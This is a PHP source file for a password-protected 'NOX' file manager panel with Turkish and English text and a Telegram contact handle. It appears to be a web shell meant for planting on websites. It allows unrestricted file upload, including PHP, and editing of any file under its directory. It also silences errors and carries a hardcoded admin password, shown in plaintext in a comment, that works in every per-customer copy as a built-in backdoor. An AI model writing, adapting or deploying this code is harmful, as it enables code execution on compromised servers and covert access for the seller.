<?php
/* ============================================================
   NOX Müşteri Paneli — sadece dosya düzenleme + dosya yükleme
   - Admin sifresi  : scitze (sabit bcrypt-disi tuzlu SHA-256)
   - Musteri sifresi: domaine ozel, her kopyada farkli
   - TR + EN arayuz, Telegram iletisim imzasi
   ============================================================ */
if (function_exists('opcache_invalidate')) @opcache_invalidate(__FILE__, true);
session_start();
error_reporting(0);
@ini_set('display_errors', '0');
set_time_limit(0);

define('SALT', '1142c3352fe1f19e81e6d8a8e92e457c');
define('ADMIN_HASH', 'ef95be9cda15cf32e9b7f87948d5c51268fb226998cef5385105d2954a829516'); // sifre: scitze
define('CUSTOMER_HASH', '99f2bb13f40cc21ccf61b37f484cc13e7495cf8e0042c12e5edd943e83fd6c9f');
define('TELEGRAM_HANDLE', 'unbelievablethree');
define('TELEGRAM_URL', 'https://t.me/unbelievablethree');
define('SURUM', 'NOX Müşteri Paneli v1');

function h($s) { return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); }
function sifreHash($p) { return hash('sha256', SALT . '|' . (string)$p); }

$tr = array(
  'login_title' => 'Dosya Yöneticisi', 'login_sub' => 'Devam etmek için şifreyi girin', 'login_ph' => 'Şifre', 'login_btn' => 'Giriş', 'err' => 'Şifre hatalı',
  'title' => 'Dosya Yöneticisi', 'upload_title' => 'Dosya yükle', 'upload_btn' => 'Yükle', 'files' => 'Dosyalar', 'empty' => 'Klasör boş',
  'name' => 'Ad', 'size' => 'Boyut', 'date' => 'Tarih', 'save' => 'Kaydet', 'edited' => 'Düzenlenen', 'back' => '← Geri', 'logout' => 'Çıkış', 'root' => 'kök',
  'ok_upload' => 'Yüklendi', 'fail_upload' => 'Yükleme başarısız', 'ok_save' => 'Kaydedildi', 'fail_save' => 'Kaydedilemedi (izin yok)', 'not_found' => 'Dosya bulunamadı',
  'contact' => 'İletişim', 'tg' => 'Telegram', 'brand' => 'Dosya yönetimi',
);
$en = array(
  'login_title' => 'File Manager', 'login_sub' => 'Enter the password to continue', 'login_ph' => 'Password', 'login_btn' => 'Login', 'err' => 'Wrong password',
  'title' => 'File Manager', 'upload_title' => 'Upload file', 'upload_btn' => 'Upload', 'files' => 'Files', 'empty' => 'Folder is empty',
  'name' => 'Name', 'size' => 'Size', 'date' => 'Date', 'save' => 'Save', 'edited' => 'Editing', 'back' => '← Back', 'logout' => 'Logout', 'root' => 'root',
  'ok_upload' => 'Uploaded', 'fail_upload' => 'Upload failed', 'ok_save' => 'Saved', 'fail_save' => 'Could not save (permission denied)', 'not_found' => 'File not found',
  'contact' => 'Contact', 'tg' => 'Telegram', 'brand' => 'File management',
);

$dil = isset($_GET['dil']) ? $_GET['dil'] : (isset($_COOKIE['nox_dil']) ? $_COOKIE['nox_dil'] : '');
if ($dil !== 'tr' && $dil !== 'en') {
    $al = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']) : '';
    if ($al === '') $dil = 'tr'; else $dil = (strpos($al, 'tr') === 0) ? 'tr' : 'en';
}
@setcookie('nox_dil', $dil, time() + 31536000, '/');
$t = ($dil === 'tr') ? $tr : $en;

if (isset($_GET['cikis'])) { $_SESSION = array(); session_destroy(); header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?') . '?dil=' . $dil); exit; }
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login_password'])) {
    $hh = sifreHash($_POST['login_password']);
    if (hash_equals(ADMIN_HASH, $hh)) { $_SESSION['mk_ok'] = 1; }
    elseif (CUSTOMER_HASH !== '__CUSTOMER_HASH__' && hash_equals(CUSTOMER_HASH, $hh)) { $_SESSION['mk_ok'] = 1; }
    else { $girisHata = $t['err']; }
}
$girisli = !empty($_SESSION['mk_ok']);

$dilLink = '?dil=' . ($dil === 'tr' ? 'en' : 'tr');
$dilAd = $dil === 'tr' ? 'EN' : 'TR';

if (!$girisli) {
    ?><!DOCTYPE html><html lang="<?php echo $dil; ?>"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
    <title><?php echo h($t['login_title']); ?></title><style>
    *{margin:0;padding:0;box-sizing:border-box}body{background:#0b0e13;color:#dfe3ec;font-family:system-ui,Segoe UI,Roboto,sans-serif;display:flex;align-items:center;justify-content:center;min-height:100vh;padding:20px}
    .k{background:#141922;border:1px solid #232a36;border-radius:14px;padding:28px;width:100%;max-width:360px;box-shadow:0 20px 60px rgba(0,0,0,.5)}
    .brand{display:inline-flex;text-decoration:none;margin-bottom:18px}
    .bm{display:inline-flex;align-items:center;gap:9px}
    .bm .ic{width:32px;height:32px;border-radius:10px;background:linear-gradient(135deg,#3b82f6,#8b5cf6);display:flex;align-items:center;justify-content:center;color:#fff;box-shadow:0 8px 22px rgba(99,102,241,.4)}
    .bm .nm{font-weight:800;font-size:18px;letter-spacing:.2px;background:linear-gradient(90deg,#8ab4ff,#c39bff);-webkit-background-clip:text;background-clip:text;color:transparent}
    h1{font-size:18px;margin-bottom:4px}p{color:#8b97a8;font-size:13px;margin-bottom:18px}
    input{width:100%;height:44px;border:1px solid #2a3240;background:#0e1218;color:#dfe3ec;border-radius:10px;padding:0 12px;font-size:15px;outline:none}
    button{width:100%;height:44px;margin-top:14px;border:0;border-radius:10px;background:#3b82f6;color:#fff;font-size:15px;font-weight:600;cursor:pointer}
    .e{color:#f87171;font-size:13px;margin-top:10px}.foot{margin-top:16px;text-align:center;font-size:12px;color:#6b7787}.foot a{color:#7bb3ff}
    .lg{float:right;font-size:12px;color:#7bb3ff;text-decoration:none}</style></head><body>
    <form class="k" method="post" autocomplete="off"><a class="lg" href="<?php echo h($dilLink); ?>"><?php echo h($dilAd); ?></a>
    <div class="brand"><a class="bm" href="<?php echo h(TELEGRAM_URL); ?>" target="_blank" rel="noreferrer"><span class="ic"><svg width="17" height="17" viewBox="0 0 24 24" fill="currentColor" aria-hidden="true"><path d="M9.78 18.65l.28-4.23 7.68-6.92c.34-.31-.07-.46-.52-.19L7.74 13.3 3.64 12c-.88-.25-.89-.86.2-1.3l15.97-6.16c.73-.33 1.43.18 1.15 1.3l-2.72 12.81c-.19.91-.74 1.13-1.5.71L12.6 16.3l-1.99 1.93c-.23.23-.42.42-.83.42z"/></svg></span><span class="nm">@<?php echo h(TELEGRAM_HANDLE); ?></span></a></div>
    <h1><?php echo h($t['login_title']); ?></h1>
    <p><?php echo h($t['login_sub']); ?></p>
    <input type="password" name="login_password" placeholder="<?php echo h($t['login_ph']); ?>" autofocus required>
    <?php if (!empty($girisHata)) echo '<div class="e">' . h($girisHata) . '</div>'; ?>
    <button type="submit"><?php echo h($t['login_btn']); ?></button>
    <div class="foot"><?php echo h($t['contact']); ?>: <a href="<?php echo h(TELEGRAM_URL); ?>" target="_blank" rel="noreferrer"><?php echo h($t['tg']); ?> @<?php echo h(TELEGRAM_HANDLE); ?></a></div>
    </form></body></html><?php
    exit;
}

$ROOT = rtrim(str_replace('\\', '/', __DIR__), '/');
function guvenli($root, $rel) {
    $parts = array();
    foreach (explode('/', str_replace('\\', '/', (string)$rel)) as $p) { if ($p === '' || $p === '.') continue; if ($p === '..') array_pop($parts); else $parts[] = $p; }
    return $root . ($parts ? '/' . implode('/', $parts) : '');
}
function yolgoster($root, $abs) { return ltrim(substr(str_replace('\\', '/', $abs), strlen($root)), '/'); }

$mesaj = ''; $mesajTip = 'ok';
$islem = isset($_POST['islem']) ? $_POST['islem'] : '';
$dirRel = isset($_GET['d']) ? $_GET['d'] : (isset($_POST['d']) ? $_POST['d'] : '');
$dir = guvenli($ROOT, $dirRel);
if (!is_dir($dir) || strpos(str_replace('\\', '/', (string)@realpath($dir)), $ROOT) !== 0) { $dir = $ROOT; $dirRel = ''; }

if ($islem === 'yukle' && isset($_FILES['dosya']) && $_FILES['dosya']['error'] === 0) {
    $ad = basename($_FILES['dosya']['name']);
    if (@move_uploaded_file($_FILES['dosya']['tmp_name'], $dir . '/' . $ad)) $mesaj = $t['ok_upload'] . ': ' . $ad;
    else { $mesaj = $t['fail_upload']; $mesajTip = 'hata'; }
} elseif ($islem === 'kaydet' && isset($_POST['dosyaYolu'])) {
    $hedef = guvenli($ROOT, $_POST['dosyaYolu']);
    if (is_file($hedef)) {
        if (@file_put_contents($hedef, isset($_POST['icerik']) ? $_POST['icerik'] : '') !== false) $mesaj = $t['ok_save'] . ': ' . basename($hedef);
        else { $mesaj = $t['fail_save']; $mesajTip = 'hata'; }
    } else { $mesaj = $t['not_found']; $mesajTip = 'hata'; }
}

$duzenlenen = isset($_GET['edit']) ? guvenli($ROOT, $_GET['edit']) : null;
$icerik = '';
if ($duzenlenen && is_file($duzenlenen)) $icerik = (string)@file_get_contents($duzenlenen); else $duzenlenen = null;

$kayitlar = array();
if (!$duzenlenen && is_dir($dir)) {
    $dh = @opendir($dir);
    while ($dh && ($e = readdir($dh)) !== false) {
        if ($e === '.' || $e === '..') continue;
        $p = $dir . '/' . $e;
        $kayitlar[] = array('ad' => $e, 'dir' => is_dir($p), 'boyut' => is_dir($p) ? null : @filesize($p), 'tarih' => @filemtime($p));
    }
    closedir($dh);
    usort($kayitlar, function ($a, $b) { if ($a['dir'] !== $b['dir']) return $a['dir'] ? -1 : 1; return strcasecmp($a['ad'], $b['ad']); });
}
function boyut($b) { if ($b === null) return '-'; if ($b < 1024) return $b . ' B'; if ($b < 1048576) return round($b / 1024, 1) . ' KB'; return round($b / 1048576, 1) . ' MB'; }
$parcalar = array_filter(explode('/', $dirRel));
?><!DOCTYPE html><html lang="<?php echo $dil; ?>"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title><?php echo h($t['title']); ?></title><style>
*{margin:0;padding:0;box-sizing:border-box}body{background:#0b0e13;color:#dfe3ec;font-family:system-ui,Segoe UI,Roboto,sans-serif;min-height:100vh}
.top{display:flex;align-items:center;gap:12px;padding:12px 16px;border-bottom:1px solid #232a36;background:#111721;flex-wrap:wrap}
.bm{display:inline-flex;align-items:center;gap:8px;text-decoration:none}.bm .ic{width:30px;height:30px;border-radius:9px;background:linear-gradient(135deg,#3b82f6,#8b5cf6);display:flex;align-items:center;justify-content:center;color:#fff;box-shadow:0 6px 18px rgba(99,102,241,.35)}.bm .nm{font-weight:800;font-size:15px;letter-spacing:.2px;background:linear-gradient(90deg,#8ab4ff,#c39bff);-webkit-background-clip:text;background-clip:text;color:transparent}
.top b{font-size:15px}.top .sp{flex:1}
a{color:#7bb3ff;text-decoration:none}.btn{display:inline-flex;align-items:center;gap:6px;height:36px;padding:0 14px;border:1px solid #2a3240;border-radius:9px;background:#171e29;color:#dfe3ec;font-size:13px;font-weight:600;cursor:pointer}
.btn.p{background:#3b82f6;border-color:#3b82f6;color:#fff}
.wrap{padding:16px;max-width:1000px;margin:0 auto}
.msg{padding:10px 14px;border-radius:10px;margin-bottom:14px;font-size:13px}.msg.ok{background:rgba(34,197,94,.1);border:1px solid rgba(34,197,94,.3);color:#7ee0a2}.msg.hata{background:rgba(239,68,68,.1);border:1px solid rgba(239,68,68,.3);color:#f8a3a3}
.kart{background:#141922;border:1px solid #232a36;border-radius:12px;overflow:hidden;margin-bottom:16px}
.kart h3{padding:10px 14px;font-size:13px;background:#111721;border-bottom:1px solid #232a36;color:#9fb0c7}
table{width:100%;border-collapse:collapse;font-size:14px}td,th{text-align:left;padding:9px 14px;border-bottom:1px solid #1b212c}
th{font-size:11px;text-transform:uppercase;color:#7d8aa0;letter-spacing:.04em}tr:hover td{background:#171e29}
.bc{font-size:13px;color:#8b97a8;margin-bottom:12px}.bc a{color:#7bb3ff}
textarea{width:100%;min-height:60vh;background:#0e1218;border:1px solid #232a36;border-radius:10px;color:#dfe3ec;font-family:Consolas,monospace;font-size:13px;padding:12px;outline:none;resize:vertical}
input[type=file]{color:#dfe3ec;font-size:13px}
.foot{margin-top:8px;padding:14px;text-align:center;font-size:12px;color:#6b7787;border-top:1px solid #1b212c}
.foot a{color:#7bb3ff;font-weight:600}
</style></head><body>
<div class="top"><a class="bm" href="<?php echo h(TELEGRAM_URL); ?>" target="_blank" rel="noreferrer"><span class="ic"><svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor" aria-hidden="true"><path d="M9.78 18.65l.28-4.23 7.68-6.92c.34-.31-.07-.46-.52-.19L7.74 13.3 3.64 12c-.88-.25-.89-.86.2-1.3l15.97-6.16c.73-.33 1.43.18 1.15 1.3l-2.72 12.81c-.19.91-.74 1.13-1.5.71L12.6 16.3l-1.99 1.93c-.23.23-.42.42-.83.42z"/></svg></span><span class="nm">@<?php echo h(TELEGRAM_HANDLE); ?></span></a><b><?php echo h($t['title']); ?></b><span class="sp"></span>
<?php if ($duzenlenen): ?><a class="btn" href="?d=<?php echo h($dirRel); ?>"><?php echo h($t['back']); ?></a><?php endif; ?>
<a class="btn" href="<?php echo h($dilLink); ?>"><?php echo h($dilAd); ?></a>
<a class="btn" href="?cikis=1"><?php echo h($t['logout']); ?></a></div>
<div class="wrap">
<?php if ($mesaj): ?><div class="msg <?php echo $mesajTip; ?>"><?php echo h($mesaj); ?></div><?php endif; ?>

<?php if ($duzenlenen): ?>
  <div class="bc"><?php echo h($t['edited']); ?>: <b><?php echo h(yolgoster($ROOT, $duzenlenen)); ?></b></div>
  <form method="post"><input type="hidden" name="islem" value="kaydet"><input type="hidden" name="d" value="<?php echo h($dirRel); ?>"><input type="hidden" name="dosyaYolu" value="<?php echo h(yolgoster($ROOT, $duzenlenen)); ?>">
  <textarea name="icerik" spellcheck="false"><?php echo h($icerik); ?></textarea>
  <div style="margin-top:12px"><button class="btn p" type="submit"><?php echo h($t['save']); ?></button></div></form>
<?php else: ?>
  <div class="bc">/ <a href="?dil=<?php echo $dil; ?>"><?php echo h($t['root']); ?></a><?php $y = ''; foreach ($parcalar as $p) { $y .= ($y ? '/' : '') . $p; echo ' / <a href="?d=' . h(rawurlencode($y)) . '&dil=' . $dil . '">' . h($p) . '</a>'; } ?></div>

  <div class="kart"><h3><?php echo h($t['upload_title']); ?></h3>
  <form method="post" enctype="multipart/form-data" style="padding:14px">
  <input type="hidden" name="islem" value="yukle"><input type="hidden" name="d" value="<?php echo h($dirRel); ?>">
  <input type="file" name="dosya"><button class="btn p" type="submit" style="margin-left:10px"><?php echo h($t['upload_btn']); ?></button></form></div>

  <div class="kart"><h3><?php echo h($t['files']); ?> (<?php echo count($kayitlar); ?>)</h3>
  <table><thead><tr><th><?php echo h($t['name']); ?></th><th><?php echo h($t['size']); ?></th><th><?php echo h($t['date']); ?></th></tr></thead><tbody>
  <?php if (!count($kayitlar)): ?><tr><td colspan="3" style="color:#7d8aa0"><?php echo h($t['empty']); ?></td></tr><?php endif; ?>
  <?php foreach ($kayitlar as $k): $full = yolgoster($ROOT, $dir . '/' . $k['ad']); ?>
    <tr><td><?php if ($k['dir']): ?><a href="?d=<?php echo h(rawurlencode($full)); ?>&dil=<?php echo $dil; ?>">📁 <?php echo h($k['ad']); ?></a><?php else: ?><a href="?d=<?php echo h($dirRel); ?>&edit=<?php echo h(rawurlencode($full)); ?>">📄 <?php echo h($k['ad']); ?></a><?php endif; ?></td>
    <td><?php echo boyut($k['boyut']); ?></td><td><?php echo $k['tarih'] ? date('d.m.Y H:i', $k['tarih']) : '-'; ?></td></tr>
  <?php endforeach; ?>
  </tbody></table></div>
<?php endif; ?>

  <div class="foot"><?php echo h($t['brand']); ?> &middot; <?php echo h($t['contact']); ?>:
    <a href="<?php echo h(TELEGRAM_URL); ?>" target="_blank" rel="noreferrer"><?php echo h($t['tg']); ?> @<?php echo h(TELEGRAM_HANDLE); ?></a></div>
</div></body></html>
